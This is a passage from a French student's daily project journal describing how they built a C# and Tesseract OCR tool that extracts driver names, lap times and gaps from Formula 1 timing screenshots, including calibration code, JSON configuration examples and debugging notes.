qui permette de tester le programme de reconnaissance. Je pense que le meilleur moyen de faire serait un programme qui cr\u00e9e le dataset et qui ensuite peut tester diff\u00e9rentes methodes de reconnaissance. Par la m\u00eame occasion je peux d\u00e9velopper la technologie qui va permettre de d\u00e9couper une image en 20 lignes ce qui me servira ensuite pour la reconnaissance. Je me rend compte que pour faire un programme de tests je dois d\u00e9ja avoir une id\u00e9e de la structure de mon programme. Pour le moment je r\u00e9flechis \u00e0 un syst\u00e8me de \"Zones\" et de \"Windows\". L'id\u00e9e serait que une Zone est juste une sous partie d'image qui peut encore \u00eatre d\u00e9compos\u00e9 tandis que chaque Window contient une ou plusieurs informations \u00e0 r\u00e9cup\u00e8rer. J'ai essay\u00e9 de d\u00e9couper l'image pour que cela soit plus clair : \"Main zone\" Ici on peut voir que l'image est d\u00e9coup\u00e9e en plusieurs grandes zones. Dans un premier temps on ne s'occupe que de la premi\u00e8re. Ensuite : \"Driver zone #1\" On peut voir la que cette Main zone serait elle m\u00eame d\u00e9compos\u00e9e en plusieurs plus petites zones. Et ensuite chacunes de ces petites zones : \"Driver windows\" Sera d\u00e9compos\u00e9e en plusieurs windows qui elles sont des zones qui contiennent de l'information. En gros on aurait trois types de zone : Les zones qui contiennent d'autres zones Les zones qui contiennent des Windows Les Windows Cependant en y r\u00e9flechissant on pourrait tout \u00e0 fait avoir seulement des zones et des windows en faisant en sorte que les windows peuvent avoir une liste de windows et une liste de zones. Une zone serait compos\u00e9e de : Une image de d\u00e9part Un rectangle qui la positionne sur cette derni\u00e8re Une liste de zones (potentiellement vide) Une liste de windows (potentiellement vide) Une methode qui permet de r\u00e9cup\u00e8rer une image de la zone Une methode qui permet de lancer la reconnaissance sur chaque window Une window serait compos\u00e9e de : Une image de d\u00e9part (cela peut \u00eatre l'image crop\u00e9e de la zone parente peu importe) Un rectangle qui la positionne sur cette derni\u00e8re Une methode qui permet de r\u00e9cup\u00e9rer un image de la window Une methode qui permet de lancer la reconnaisance sur l'image (Chaque type de zone doit l'impl\u00e9menter) Dans chaque window on peut imaginer que la methode qui fait la reconnaissance au lieu de retourner un objet qui peut contenir nimporte quel type d'information peut envoyer ce qu'elle vient de r\u00e9cup\u00e8rer dans une base de donn\u00e9e ou un objet. Par exemple une Zone de pilote pourrait tr\u00e8s bien contenir un objet pilote et le donner \u00e0 ses windows qui rempliraient ce m\u00eame objet. C'est une reflexion plus stockage que OCR mais c'est int\u00e9ressant pour savoir ce que fait une window des donn\u00e9es qu'elle r\u00e9cup\u00e8re. Dans un premier temps je pense que les windows vont simplement \u00e9crire dans un fichier ce qu'elles trouvent chacunes dans le format qu'elles veulent. Pour comprendre pourquoi je me prend la t\u00eate il faut savoir que chaque window peut avoir acc\u00e8s \u00e0 pleins d'informations diff\u00e9rentes. On pourrait dire qu'elles retournent toutes une string sauf que si ca marche pour un temps au tour ou pour un nom de pilote, cela ne marche pas forc\u00e9ment pour un type de pneu ou un DRS ouver. Comme chaque window a plusieurs types de data elle devra elle m\u00eame se charger de comment la traiter ET de la stocker. Voila un diagramme qui r\u00e9sume comment je vois l'impl\u00e9mentation dans un premier temps : \"Diagramme d'explications\" Voici comment se pr\u00e9sente le squellette d'une Zone : public class Zone { private Bitmap FullImage; private List Zones; private List Windows; private Rectangle _bounds; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap ZoneImage { get { Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Zone(Image fullImage, Rectangle bounds) { FullImage = (Bitmap)fullImage; Init(bounds); } public Zone(Bitmap fullImage, Rectangle bounds) { FullImage = fullImage; Init(bounds); } private void Init(Rectangle bounds) { Bounds = bounds; Zones = new List(); Windows = new List(); } public void AddZone(Rectangle bounds) { if(Fits(bounds)) Zones.Add(new Zone(ZoneImage,bounds)); } public void AddWindow(Rectangle bounds) { if (Fits(bounds)) Windows.Add(new Window(ZoneImage,bounds)); } private bool Fits(Rectangle inputRectangle) { if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0) { return false; } else { return true; } } } Le but est ensuite de cr\u00e9er diff\u00e9rent types de Zones. Par exemple la MainZone devra d\u00e9couper son contenu en 20 parties \u00e9gales pour tenter de chopper les 20 pilotes. Il serait cool de trouver un moyen de calibrer automatiquement. C'est peut-\u00eatre possible de calibrer avec de la reconnaissance de texte, on peut essayer de lancer la reconnaissance et voir ou on trouve du texte avec un peu de chance cela pourrait donner les positions et avec ca on peut peut-\u00eatre determiner des lignes. Et voici le squelette d'une window g\u00e9n\u00e9rique using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace OCR_tester { public class Window { private Bitmap FullImage; private Rectangle _bounds; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap WindowImage { get { Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Window(Bitmap fullImage, Rectangle bounds) { FullImage = fullImage; Bounds = bounds; } public virtual void RecoverInformations() { //Each Window type will have to implement its own way to recover the informations stored in the Window Image } } } Chaque Window pourra ainsi elle m\u00eame impl\u00e9menter la r\u00e9cup\u00e8ration d'informations. La facon de les retourner/stocker est encore un peu floue. Par exemple pour un temps au tour on peut imaginer que il fait une petite v\u00e9rification dans l'objet pilote et dans le tableau des tours si il n'y a pas deja une valeur et si il n'y en a pas une alors il peut l'ajouter. Maintenant je vais essayer de cr\u00e9er une Main window qui se calibre toute seule. Alors apr\u00e8s avoir bien gal\u00e8r\u00e9 avec l'interface pour permettre au user de cliquer sur la form pour voir les zones qu'il cr\u00e9e, j'ai pu cr\u00e9er un zone qui fait les dimensions de MainZone et j'ai pu lancer la reconnaissance sur l'image et voir ou il trouve du texte : \"MainZone avec carr\u00e9s de texte\" Maintenant il faut que je nettoie la liste de rectangle pour exclure ceux qui sont trop grands pour \u00eatre sur une seule ligne, ceux qui indiquent le nombre de tour en haut et ceux qui n'ont pas d'int\u00e9r\u00eats. On pourra ensuite isoler les lignes et cr\u00e9er une liste d'images. Pour ce qui est de la ligne qui contient les \"Gap interval last lap\" et des chiffres sur les tours pour les pneus etc je vais juste demander \u00e0 l'utilisateur de ne pas les prendre dans la screenshot. Comme ils contiennent des mots qui peuvent \u00eatre utilis\u00e9s plus loin dans les data je ne peux pas les blacklister et faire un syst\u00e8me qui s'occupe de les enlever si ils existent selon le position y me prendrait trop de temps pour rien. Apr\u00e8s avoir filtr\u00e9 un peu les resultats et enlev\u00e9 les zones beaucoup trop grandes, on se retrouve d\u00e9ja plus qu'avec ca : \"MainZone avec de meilleurs carr\u00e9s\" Comme on peut le voir, du c\u00f4t\u00e9 gauche de l'image on a beaucoup de choses reconnues mais avec beaucoup de tailles diff\u00e9rentes ce qui n'est pas id\u00e9al. Alors j'ajoute un filtre qui permet de ne selectionner que les data sur la droite. \"MainZone avec de meilleurs carr\u00e9s\" Maintenant il devrait \u00eatre possible de faire un algorythme qui ne prend que un seul carr\u00e9 par ligne. \"MainZone avec un seul carr\u00e9 par ligne\" Maintenant que on sait ou se trouve chaque ligne on peut faire un petit traitement et d\u00e9couper l'image en plusieurs windows. Et voila : \"Mainzone auto calibr\u00e9e\" Maintenant le programme peut cr\u00e9er des zones pour chaque pilote \"Images pilotes\" \"Zone d'un pilote\" Maintenant il faut que j'impl\u00e9mente un syst\u00e8me un peu similaire pour cr\u00e9er des windows. Voici la methode que j'ai cr\u00e9\u00e9 pour l'autocalibration : public void AutoCalibrate() { List detectedText = new List(); Zones = new List(); TesseractEngine engine = new TesseractEngine(Window.tessDataFolder.FullName, \"eng\", EngineMode.Default); Image image = ZoneImage; var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image)); Page page = engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if (boundingBox.X1 > image.Width / 2) { //Now we check if an other square box has been found roughly in the same y axis bool match = false; //The tolerance is roughly half the size that a window will be int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; foreach (Rectangle rect in detectedText) { if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance) { //There already is a rectangle in this line match = true; } } //if nothing matched we can add it if(!match) detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height)); } } } } while (iter.Next(PageIteratorLevel.Word)); } foreach (Rectangle Rectangle in detectedText) { Rectangle windowRectangle; Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS); Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2); windowRectangle = new Rectangle(windowLocation, windowSize); Zones.Add(new Zone(ZoneImage, windowRectangle)); } } Ca peut paraitre pas \u00e9norme comme code mais pour tout mettre en place ca demande quand m\u00eame pas mal de reflexion. J'ai du clean un peu le code que j'avais fait pour permettre la selection de zones et ajouter la possibilit\u00e9 d'ajouter des windows sur une zone. J'ai juste quelques difficult\u00e9es \u00e0 les ajouter correctement, j'ai un offset tout pourri qui se met tout le temps \"Sainz coup\u00e9\" \"Perez coup\u00e9\" Cela doit \u00eatre un soucis lors de la detection de clic qui met un offset en trop. C'est vraiment p\u00e9nible en tout cas. Certes c'est moins fun de devoir manuellement indiquer ou sont les windows sur une ligne de pilote, mais je ne vois vraiment pas comment faire cela automatiquement. Le but c'est de faire une configuration qui puisse \u00eatre sauvegard\u00e9e comme ca pas besoin d'\u00e0 chaques fois le refaire. C'est bon ! J'avais juste oubli\u00e9 de changer le calcul d'offset entre le code de la zone et de la window. Note pour plus tard, il serait peut-\u00eatre judicieux de faire quelque chose pour la vue, les windows et les Zones ont le m\u00eame exact comportement pour la vue ce qui fait dupliquer du code. Mais au moins maintenant ca fonctionne : \"Ocr tester screenshot\" Et le programme va directement cr\u00e9er un dossier par pilote avec toutes les images de chaque Data le concernant : \"Dossier Perez\" ; Et c'est tout pour aujourd'hui je pense. Ce qui serait cool demain c'est que je puisse stocker d'une mani\u00e8re ou d'une autre ces fichiers de calibration et que je puisse les transf\u00e8rer vers le programme qui va s'occuper de d\u00e9coder et commencer gentillement \u00e0 d\u00e9coder les diff\u00e9rents types de data. Note pour quand je ferai les tests. Je pense que la meilleure id\u00e9e serait que je prenne pleins de photos du style et que je les mette dans un fichier CSV ou JSON avec leur contenu. Et ensuite je le fais passer en tests pour calculer la prescision de mon algo de d\u00e9codage. Pour le moment on est plut\u00f4t dans les clouts niveau planning.","title":"Lundi 3 Avril"},{"location":"jdb.html#mardi-4-avril","text":"Aujourd'hui je suis scens\u00e9 plut\u00f4t bosser sur l'interpretation des donn\u00e9es, mais une id\u00e9e m'a taraud\u00e9 l'esprit toute la nuit. Est-ce que je ne pourrais pas quand m\u00eame essayer de d\u00e9composer la zone de pilote directment comme pour la Main zone. Pour ce faire j'ai tent\u00e9 de faire comme pour la main zone c'est \u00e0 dire lancer la reconnaissance pour savoir ou \u00e9taient tous les champs de donn\u00e9es mais malheureusement je ne pense pas que cela va \u00eatre possible. En effet non seulement ici les champs sont de tailles tr\u00e8s vari\u00e9es, mais en plus la reconnaissance n'arrive pas \u00e0 en r\u00e9cup\u00e8rer le m\u00eame nombre sur chaque ligne ce qui risque d'\u00eatre complexe \u00e0 utiliser ensuite. La preuve : \"Tentative d'auto calibration\" ; Cependant tout n'est pas perdu ! Il y a peut-\u00eatre un moyen qui serait mieux en tous points. Le soucis avec ce type de reconnaissance c'est qu'on utilise beaucoup de ressources inutiles. On peut peut-\u00eatre hard coder la valeur des diviseurs et les utiliser pour cr\u00e9er des zones. Ok alors visiblement c'est un probl\u00e8me car il semble y avoir d'autres pixels de cette couleur dans l'image (Qui l'aurait cru lol) \"Tentative 2\" J'a tent\u00e9 de r\u00e9duire la tol\u00e9rance mais le soucis c'est que c'est soit trop soit pas assez Derni\u00e8re tentative, j'ai essay\u00e9 de prendre plusieurs pixels en hauteur pour chaque incr\u00e9ment de X et en faire la moyenne, et m\u00eame comme ca, impossible de trouver de mani\u00e8re efficace les zones. Je pense que je vais donc revert tous mes changements pour revenir \u00e0 la version ou on les choisissait manuellement. Pas mal de temps perdu mais bon c'est comme ca ca arrive Bon j'ai fait un revert mais j'ai ajout\u00e9 une feature importante. Les zones font la largeur indiqu\u00e9e par l'utilisateur mais elles font la hauteur max comme ca toutes les window font la m\u00eame hauteur et ca permet \u00e0 l'utilisateur de ne pas forc\u00e9ment \u00eatre ultra pr\u00e9cis dans sa selection. Ce qui nous donne : \"Resultat final\" Maintenant je dirais que les deux prochaines choses \u00e0 faire seraient de stocker ces zones dans un fichier JSON ou autre pour que la calibration puisse \u00eatre envoy\u00e9e directement dans le logiciel de reconnaissance et ensuite de faire une calibration sur des images qui font la taille qu'on aura pendant les Grands Prix. Pour le moment elles sont au format 16:10 qui est le format d'\u00e9crant de mon laptop. Pour le stockage j'imagine un fichier qui donne des indications assez simples qui permettent de reconstruire le total des zones quand il est import\u00e9 plutot que d'\u00e9crire les coordonn\u00e9es en dur pour chacunes. Chaque Grande zone va impl\u00e9menter une methode qui s'occupe de mettre tous ses enfants dans un fichier. { \"MainZone\":{ \"x\": 10, \"y\": 20, \"width\": 1450, \"height\": 1340, \"DriverZone\":{ \"x\": 0, \"y\": 23, \"height\": 25, \"Windows\":[ { \"DriverPositionWindow\":{ \"x\": 0, \"y\": 0, \"width\": 35 } }, { \"DriverPositionChangesWindow\":{ \"x\": 0, \"y\": 0, \"width\":45 } } ] } } } C'est le r\u00e9sultat auquel j'aimerais arriver. Mais pour y arriver il faut encore que je cr\u00e9e les diff\u00e9rents types de window. Cela veut dire que je dois d\u00e9cider quelles informations je vais r\u00e9cup\u00e8rer de la page. Par exemple je vais conserver la position du pilote mais au final les changements de positions sont difficiles \u00e0 lire et sont redondants. Si je garde un historique des positions des pilotes je peux calculer moi m\u00eame les changements. Pareil pour gap avec la voiture devant. Je pense que je vais juste garder l'information des \u00e9carts absolus et ensuite je pourrai toujours calculer la diff\u00e9rence entre les pilotes. Ca peut para\u00eetre b\u00eate car cela rajoute du calcul mais en r\u00e9alit\u00e9 le calcul de l'OCR est extr\u00eamement gourmand alors il faut que j'\u00e9vite le plus possible d'y faire recours. Il est bien plus rapide de calculer les \u00e9carts que d'essayer de reconnaitre le texte et le convertir en chiffre. J'ai visiblement ajout\u00e9 un bug dans mon code. Maintenant tous les pilotes ont la m\u00eame image quand on les selectionne. Mais visiblement ca n'\u00e9tait pas le cas avant car j'avais pu prendres des images de chaque pilote. J'ai pass\u00e9 3 minutes \u00e0 fixer un bug stupide j'ai un peu envie de br\u00fbler ma place de travail... Mais bon au moins maintenant cela fonctionne ! Toutes les images sont r\u00e9cup\u00e8r\u00e9es et ont un format correct avec le bon nom : \"Verstappen folder\" Avec un peu de code tr\u00e8s moche j'ai pu cr\u00e9er un fichier JSON qui contient les diff\u00e9rentes infos. Cependant en exportant TOUT on se retrouve avec un fichier de 1200 lignes ce qui n'est pas optimal. Mais quand on regarde, il devrait \u00eatre possible de faire un fichier qui ne contient que les infos d'un seul pilote car ensuite il y a simplement un offset \u00e0 appliquer sur la zone et les windows. Je vais donc pouvoir commencer enfin le logiciel de d\u00e9codage qui prend en entr\u00e9e un fichier JSON comme celui ci qui a \u00e9t\u00e9 g\u00e9n\u00e8r\u00e9 avec le programme de calibration. { \"Main\": { \"x\": 40, \"y\": 230, \"width\": 1845, \"height\": 719, \"Zones\": [ { \"DriverZone\": { \"x\": 0, \"y\": 3, \"width\": 1845, \"height\": 35, \"Windows\": [ { \"Position\": { \"x\": 2, \"y\": 0, \"width\": 32 }, \"GapToLeader\": { \"x\": 204, \"y\": 0, \"width\": 96 }, \"LapTime\": { \"x\": 413, \"y\": 0, \"width\": 105 }, \"Drs\": { \"x\": 526, \"y\": 0, \"width\": 81 }, etc... } ] } } ] } } Dans le futur il faudrait ajouter d'autres choses comme par exemple les diff\u00e9rents pilotes pr\u00e9sents sur le Grand Prix et ce genre d'infos. Quoique je vais l'ajouter d\u00e9ja maintenant et plus tard je mettrai en place la feature acessible depuis l'interface. Mais le hardcoder maintenant me permet d\u00e9ja de mieux coder l'autre c\u00f4t\u00e9. Ce programme n'est en aucun cas termin\u00e9 et je vais devoir travailler encore un peu dessus pour qu'il soit utilisable correctement mais au moins il fonctionne \u00e0 peu pr\u00e8s. Exemple du json avec les noms de pilotes: { \"Main\": { \"x\": 37, \"y\": 238, \"width\": 1851, \"height\": 713, \"Zones\": [ { \"DriverZone\": { \"x\": 0, \"y\": -5, \"width\": 1851, \"height\": 35 } } ] }, \"Drivers\": [ \"Leclerc\", \"Verstappen\", etc... ] } Maintenant je vais m'attaquer au d\u00e9codage. Demain je dois finir le d\u00e9codage du JSON et je dois commencer \u00e0 impl\u00e9menter la reconnaissance des textes. Voire m\u00eame des pneus etc si j'y arrive.","title":"Mardi 4 Avril"},{"location":"jdb.html#mercredi-5-avril","text":"Bon la il faut vraiment que je finisse assez vite la lecture du JSON et la reconstruction des zones pour commencer la reconnaissance. J'ai pris beaucoup de temps \u00e0 faire le programme de calibration mais je pense que c'est essentiel de prendre ce temps maintenant. (BTW il faudra quand m\u00eame retourner faire une plus jolie version par ce que la ca marche mais c'est tout) Bon apr\u00e8s pas mal de boulot je pense avoir r\u00e9ussi. Dans le nouveau programme on arrive \u00e0 r\u00e9cup\u00e8rer les diff\u00e9rentes zones : \"JSON decode result\" Un conseil de notre professeur M.Bonvin a \u00e9t\u00e9 de cr\u00e9er des Releases de versions qui ne fonctionnent pas ou pas tr\u00e8s bien. J'ai donc publi\u00e9 une premi\u00e8re release de l'OCR_TEST qui fonctionne vite fait. J'ai seulement un petit soucis, comme je recr\u00e9e compl\u00eatement la structure des driver zones avec seulement la premi\u00e8re, il y a un petit d\u00e9calage car entre les zones il y avait un gap. Ce qui fait que si la premi\u00e8re zone est parfaitement centr\u00e9e : \"Centered driver\" La vingti\u00e8me ne l'est plus exactement : \"Uncentered Driver\" Pour ca j'ai essay\u00e9 de mettre un espacement arbitraire mais c'est complexe. Je vais plut\u00f4t tenter de faire une diff\u00e9rence entre la taille de la zone compl\u00eate et de la taille additionn\u00e9e de toutes les fen\u00eatre et diviser le resultat entre toutes les fen\u00eatres. Ca n'est pas parfait mais au moins maintenant les donn\u00e9es ne touchent plus les bords de la fen\u00eatre. Et voila ! Maintenant avec le fichier de configuration en Json on arrive \u00e0 r\u00e9cup\u00e8rer toutes les infos comme si elles avaient \u00e9t\u00e9 envoy\u00e9es directement depuis l'app de calibration mais sans le processing time ! \"Verstappen folder 2 On peut donc ENFIN passer au d\u00e9codage de ces FICHUES donn\u00e9es. Je vais pouvoir impl\u00e9menter ce que j'ai fait dans le projet de test de d\u00e9codage. Gr\u00e2ce \u00e0 mon d\u00e9coupage initial qui m'a pris du temps \u00e0 impl\u00e9menter on a enfin un truc qui marche m\u00eame si je n'ai impl\u00e9ment\u00e9 que la reconnaissance de noms. \"Image reconnaissance propre\" Si on se rappelle du syst\u00e8me de window et de zones dans le diagramme plus haut, c'est assez facile de comprendre comment je m'y suis pris. En gros on des listes et des listes de listes de zones, c'est la partie un peu plus technique car il y a des zones qui peuvent contenir d'autres zones etc. Je vais commencer par la reconnaissance de noms. Voici le tableau de pilotes de 2023 \"Drivers\": [ \"Leclerc\", \"Verstappen\", \"Hamilton\", \"Alonso\", \"Russel\", \"Gasly\", \"Stroll\", \"Sainz\", \"Hulkenberg\", \"Norris\", \"Tsunoda\", \"Piastri\", \"Zhou\", \"Ocon\", \"Magnussen\", \"Perez\", \"Sargeant\", \"De Vries\", \"Bottas\", \"Albon\" ] ET voici le tableau de pilotes de 2022 : \"Drivers\": [ \"Leclerc\", \"Verstappen\", \"Sainz\", \"Perez\", \"Hamilton\", \"Russel\", \"Magnussen\", \"Gasly\", \"Ocon\", \"Alonso\", \"Tsunoda\", \"Bottas\", \"Zhou\", \"Albon\", \"Stroll\", \"Schumacher\", \"Hulkenberg\", \"Norris\", \"Latifi\", \"Ricciardo\" ] Je les notes ici car J'ai souvent besoin de changer selon le dataset que j'utilise. Dans le futur je ferai s\u00fbrement un grand dataset qui prend des pilotes de reserves et des pilotes juniors pour que dans le cas ou un pilote est remplac\u00e9 dans l'ann\u00e9e il n'y a pas besoin de tout recalibrer avec l'application. Apr\u00e8s une discussion avec M.Bonvin j'ai d\u00e9cid\u00e9 de tester 3 valeurs de convertion en noir et blanc et si je ne trouve pas un match exact je prend le nom le plus proche. Pour trouver la string la plus proche je pense que je vais utiliser quelque chose qui s'appelle la technique de Levenshtein. De ce que j'ai compris c'est un algorythme qui permet de donner une metric de diff\u00e9rence entre deux strings. Bon et \u00e9videmment il ne faut pas se tromper dans la liste des pilotes GENRE NE PAS OUBLIER QUE GEORGE RUSSELL COMPORTE DEUX WFNEWIEWV DE \"L\" A LA FIN DE SON NOM CE QUI POURRAIT ENGRANGER 2H DE DEBUGGING POUR RIEN ASK ME HOW I KNOW joker laugh J'ai vraiment un soucis avec Tsunoda, Il a trop tendeance \u00e0 le confondre avec \"TSUNDDA\" et pour des raisons obscures, quand j'applique l'algorythme de Levenshtein le plus proche n'est pas \"Tsunoda\" mais \"Sainz\" iniuvbwdiucbiubisc POURQUOI !!??!! Je pense que cela demande moins de changements de lettres enfin bon c'est quand m\u00eame pas id\u00e9al. Il va falloir que je trouve un moyen de le repond\u00e9rer. C'est dommage par ce que cela marche super avec Alonso Verstappen et Albon. J'ai un peu modifi\u00e9 la methode et j'ai fait en sorte d'envoyer tous les noms en majuscules en me disant que cela pourrait r\u00e9duire le nombre de changements. Et ca a march\u00e9 !! Cela va s\u00fbrement demander plus de tests pour \u00eatre bien s\u00fbr que tout fonctionne nikel, cependant pour le moment ca marche parfaitement avec les pilotes de 2022. Pour ce qui est de la reconnaissance de chiffres, j'ai d\u00e9ja fait une partie du boulot le premier jour alors je vais juste reprendre \u00e0 partir de l\u00e0. Je r\u00e9cup\u00e8re une string de ce type \"1:35.123\" le soucis c'est que les : se transforment parfois en . ou inversement mais bon ca devrait pas \u00eatre trop dur \u00e0 g\u00e8rer. Il faut que je transforme cette string en nombre de milisecondes (Du moins je pense que c'est le meilleur moyen pour ensuite pouvoir facilement comparer et stocker l'information). Cela fait que 1:35:123 en milisecondes donne : 1 * 1000 * 60 => 60'000 35 * 1000 => 35'000 123 => 123 Total : 60'000+35'000+123 => 95'123ms Et pour l'affichage : Minutes = ms / 60'000 secondes = (ms - (minutes/60'000))/1000 ms = ms - ((minutes 60'000) + (secondes * 1000)) Et on se retrouve avec 1:35:123 Maintenant apr\u00e8s un peu de temps pour nettoyer la string etc on se retrouve avec un r\u00e9sultat comme le suivant : Position : 0 Gap to leader : 0:0:0 Lap time : 2:15:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Evidemment pareil pour les autres pilotes Et je me rend compte que j'ai encore tout cass\u00e9 car le laptime ne devrait pas \u00eatre 2:15 mais 1:35... Voila apr\u00e8s une heure de debugging et des ajouts pour nettoyer les chaines on se retrouve avec : Position : 0 Gap to leader : 0:0:0 Lap time : 1:35:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:323 Sector 2 : 0:42:340 Sector 3 : 0:0:0 Note: le traitement commence \u00e0 devenir long, il serait peut-\u00eatre int\u00e9ressant d'utiliser un seul Tesseract Engine ou de voir ce qui prend autant de temps, on d\u00e9passe la seconde de traitement ce qui est un peu ma limite. Apr\u00e8s on peut toujours tester de rajouter du multicore processing mais c'est pour une autre fois. Demain je m'occupe de r\u00e8gler les soucis que j'ai avec la prescision de ces temps au tour et j'\u00e9sp\u00e8re pouvoir m'occuper aussi de la position des pneus et du DRS. J'aimerais finir tout ca cette semaine.","title":"Mercredi 5 Avril"},{"location":"jdb.html#jeudi-6-avril","text":"Une id\u00e9e m'est pass\u00e9e par la t\u00eate pendant que je dormais, dans la liste des pilotes, quand ils sont \u00e0 plus d'un tour de retard avec le leader (Ce qui arrive normalement dans presque tous les Grand Prix) on a pas des minutes mais une string qui montre \"+1 Lap\" ou \"+2Laps\" ce qui est \u00e9videmment un probl\u00e8me. Je pense qu'une bonne facon d'envoyer l'info serait de retourner -1 -2etc... \u00e0 la place des milisecondes, mais encore faut-il detecter le nombre de tours Je devrais \u00eatre en train de commencer la documentation de commment tout ce que j'ai fait fonctionne. Cependant je ne me vois pas faire ca tant que je n'ai pas au moins r\u00e9cup\u00e8r\u00e9 toutes les infos au moins un peu proprement. Cela veut dire que je commence officiellement \u00e0 prendre du retard. (Sachant que si je finis tout aujourd'hui une journ\u00e9e de doc suffira largement le terme est un peu exag\u00e8r\u00e9 mais bon) Bon pour la reconnaissance des temps c'est sp\u00e9cial... Le filtre semble ne pas changer grand chose ce qui est probl\u00e9matique et ca n'est vraiment pas fiable. Voici quelques expemples avec un treshold de 100: \"11ZSD\" Cette image est comprise comme \"11ZSD\" 42340 Cette image est comprise comme \"42340\" \"ZZAEB\" Et celle ci \"ZZAEB\"... Ce qui... n'est pas bon du tout... J'ai essay\u00e9 de trouver un fichier d'entrainement sp\u00e9cifiquement fait pour les digits. J'ai essay\u00e9 de blacklister les chars non voulus pour tenter d'obliger Tesseract \u00e0 trouver des chiffres. Avec la premi\u00e8re option, les r\u00e9sultats ne sont pas meilleurs voire pires. Avec la seconde option c'est d\u00e9ja pas mal mieux mais on perd compl\u00e8tement la possibilit\u00e9 de detecter les mots comme \"LEADER\" ou \"LAP\" et de toute facon ca n'est pas parfait. Le soucis c'est que si je n'ai pas des donn\u00e9es fiables c'est juste impossible de faire des calculs et de l'affichage correct... Il faut absolument que je trouve une solution. J'ai essay\u00e9 d'utiliser de l'interpolation our augmenter la taille de l'image et ensuite appliquer mon filtre pour retirer le flou mais sans succ\u00e8s... Pourtant la on se retrouve avec des images plut\u00f4t claires : \"Clear1\" Ici le programme trouve \"44301\" \"Clear2\" Et ici \"A5151\"... On a toujours les m\u00eames probl\u00e8mes. Bon je suis all\u00e9 me renseigner sur l'OCR et je me suis dit que j'allais tenter de faire les choses proprement. Je vais faire passer plusieurs \u00e9tapes de postProcessing avant de donner l'image \u00e0 Tesseract. GrayScale Tresholding InvertColors Scaling Dilatation Ce qui donne : \"Original\" \"Grayscale\" \"InvertColors\" ; \"Resize\" ; \"Dilatation\" Ce qui ne change : Roulement de tambour RIEN kjd viuwvuirnvoirenbf Tout ca pour rien... C'EST BON !!! Bon en fait au final le probl\u00e8me \u00e9tait une mauvaise configuration de Tesseract. Je vais devoir un peu nettoyer tout ca. Mais avec les changements de l'image on a des r\u00e9sultats BEAUCOUP plus pr\u00e9cis et potentiellement utilisables. La je vais devoir faire un serieux travail de nettoyage et simplification de mon code par ce que la c'est vraiment un chantier vu le nombre de choses que j'ai du essayer. J'ai du aussi beaucoup modifier la gestion de l'image ce qui donne : \"Clean\" Et la on a des r\u00e9sultats qui sont vraiment bons. J'ai pu ajouter assez facilement la detection de position comme c'est simplement un chiffre. On se retrouve maintenant avec ce genre de retours : Position : 1 Gap to leader : 8:33:51 Lap time : 2:19:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:0:0 Position : 2 Gap to leader : 0:3:259 Lap time : 23:12:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : VERSTAPPEN Sector 1 : 0:38:119 Sector 2 : 0:0:0 Sector 3 : 0:0:0 Il ne manque plus que l'impl\u00e9mentation de la reconnaissance du DRS et des Pneus Et non... je viens de me rendre compte que mon programme a encore cass\u00e9 car le tap time ne peut pas \u00eatre 23 min lol. J'ai un nouveau magnifique probl\u00e8me... Les points et les deux points sont interpr\u00eat\u00e9s comme des chiffres ... Give me a F * * break... J'ai du mal \u00e0 comprendre pourquoi ils ne sont d\u00e9tect\u00e9s comme tels que maintenant. Bon alors il semblerait les temps au tour aie besoin d'un ordre tr\u00e8s pr\u00e9cis pour fonctionner. Grayscale InvertColors Tresholding Resize * 2 Resize * 2 Et la on a des r\u00e9sultats un peu mieux. Bon demain il faut absolument que je me charge de r\u00e8gler tous ces probl\u00e8mes et que je commence la reconnaissance des pneus et de DRS par ce que je commence \u00e0 \u00eatre en retard.","title":"Jeudi 6 Avril"},{"location":"jdb.html#vendredi-6-avril-2023","text":"Alors aujourd'hui c'est le dernier jour avant de commencer \u00e0 \u00eatre en retard pour de bon. J'ai r\u00e9ussi \u00e0 r\u00e8gler le probl\u00e8me des temps au tour, des gaps, et des secteurs. Dans le processus j'ai cass\u00e9 la detection de position mais ca devrait pas \u00eatre TROP compliqu\u00e9. Et voila ... Apr\u00e8s seulement plus de dix heures de gal\u00e8re, si on donne cette image au programme et le bon JSON le programme nous retourne : Position : 1 Gap to leader : 0:05:059 Lap time : 1:39:123 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : LECLERC Sector 1 : 0:31:828 Sector 2 : 0:42:940 Sector 3 : 0:00:000 Position : 2 Gap to leader : 0:03:259 Lap time : 1:39:392 DRS : False Tyre : Undefined laps with the tyre : 0 Driver name : 